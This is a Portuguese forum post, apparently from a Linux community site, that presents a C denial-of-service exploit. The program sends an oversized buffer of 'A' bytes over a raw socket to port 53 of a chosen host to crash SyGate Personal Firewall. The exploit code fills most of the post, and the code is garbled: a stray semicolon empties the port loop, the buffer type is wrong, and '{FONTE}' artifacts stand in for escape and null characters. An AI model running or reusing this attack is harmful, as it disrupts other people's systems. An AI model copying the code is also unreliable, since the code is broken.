Derrubando SyGate Profissional Firewall !
Publicado por Denis Zanin 02/07/2003
[ Hits: 11.596 ]
Esse exploit eu fiz há um bom tempo, nao lembro em que versao ele estava... !
E nem sei se está funcionando perfeitamente, hehe... !
Mas mais vale o propósito educacional, uma bela aula sobre sockets em C !
Falowsss !
[]s
/*
Derrubando SyGate Personal Firewall
by vir0se - virose@bol.com.br
*/
#include <stdio.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#define A 0x41
#define PORTA_INICIAL 1
#define PORTA_FINAL 7000
int main (int argc, char **argv)
{
int SockFD, addrlen, bsent, i, porta_inicial, porta_final, portas;
struct sockaddr_in UDPSock;
char *buf[1024];
printf("\n\n{FONTE}33[1;32m DERRUBANDO SYGATE PERSONAL FIREWALL \n");
printf("{FONTE}33[1;33m BY vir0se.....{FONTE}33[9;0m\n\n");
if(argc==1){
printf("{FONTE}33[1;34mUsando: %s [servidor] [porta inicial] [porta final]{FONTE}33[9;0m\n\n\n",argv[0]);
exit(1);
}
if (argc > 1){
porta_inicial = PORTA_INICIAL;
porta_final = PORTA_FINAL;
}
if (argc > 2)
{
porta_inicial = atoi (argv[2]);
porta_final = atoi (argv[3]);
}
for (portas = porta_inicial; portas < porta_final; portas++);
SockFD=socket(AF_INET, SOCK_RAW, 3);
UDPSock.sin_family=AF_INET;
UDPSock.sin_addr.s_addr=inet_addr(argv[1]);
UDPSock.sin_port=htons(53);
bzero(&(UDPSock.sin_zero), 8);
if (connect(SockFD,(struct sockaddr *)&UDPSock, sizeof(UDPSock)) < 0){
fprintf(stderr,"Connect error\n");
exit(-1);
}
bzero(buf,sizeof(buf));
printf ("\n\n{FONTE}33[1;31m ENVIANDO BUFFER OVERFLOW... SEGURA ESSA %s ...{FONTE}33[9;0m\n\n\n", argv[1]);
for(i=0; i < 1024; i++)
buf[i] = (char *) A;
buf[1024 -1] = '{FONTE}';
if(bsent=sendto(SockFD,buf,strlen(buf),0,(struct sockaddr *)&UDPSock, sizeof(struct sockaddr_in)) < 0){
printf("erro write()\n");
close(SockFD);
exit(-1);
}
printf("DADOS ENVIADOS COM SUUUUUUUUUUU... CESSOOO... .\nDados Enviados: %i\n\n\n",bsent);
close(SockFD);
return 0;
}
LazyDocker – Interface de Usuário em Tempo Real para o Docker
Instalando COSMIC no Linux Mint
Turbinando o Linux Mint: o poder das Nemo Actions
Inteligência Artificial no desenvolvimento de software: quando começar a usar?
[Resolvido] Algo deu errado ao abrir seu perfil
Usando o VNSTAT para medir o seu consumo de internet
Habilitando clipboard manager no ambiente COSMIC
Quando vocês pararam de testar distros? (12)
Problema com som no laptop (3)
Não estou conseguindo fazer funcionar meu Postfix na versão 2.4 no Deb... (2)









